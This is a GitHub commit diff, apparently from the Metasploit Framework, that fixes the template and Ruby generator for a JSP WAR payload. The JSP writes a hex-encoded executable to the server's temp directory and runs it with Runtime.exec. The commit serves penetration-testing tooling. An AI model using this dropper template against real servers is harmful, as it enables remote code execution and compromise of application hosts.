File tree Expand file tree Collapse file tree 2 files changed +6
-6
lines changed Expand file tree Collapse file tree 2 files changed +6
-6
lines changed Original file line number Diff line number Diff line change 1
- <%@ page import="java.io.*" %>
2
- <%
1
+ <%% @ page import="java.io.*" % %>
2
+ <%%
3
3
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
4
4
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
5
5
String %{var_data} = "";
46
46
{
47
47
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
48
48
}
49
- %>
49
+ %% >
Original file line number Diff line number Diff line change @@ -1102,6 +1102,7 @@ def self.to_war(jsp_raw, opts={})
1102
1102
def self . to_jsp_war ( exe , opts = { } )
1103
1103
1104
1104
# begin <payload>.jsp
1105
+ hash_sub = { }
1105
1106
hash_sub [ :var_hexpath ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1106
1107
hash_sub [ :var_exepath ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
1107
1108
hash_sub [ :var_data ] = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
@@ -1126,12 +1127,11 @@ def self.to_jsp_war(exe, opts={})
1126
1127
{
1127
1128
:extra_files =>
1128
1129
[
1129
- [ "#{ var_hexfile } .txt" , payload_hex ]
1130
+ [ "#{ hash_sub [ : var_hexfile] } .txt" , payload_hex ]
1130
1131
]
1131
1132
} )
1132
1133
1133
-
1134
- template = read_replace_script_template ( "to_jsp.war.template" , hash_sub )
1134
+ template = read_replace_script_template ( "to_exe_jsp.war.template" , hash_sub )
1135
1135
1136
1136
return self . to_war ( template , opts )
1137
1137
end
You can’t perform that action at this time.
0 commit comments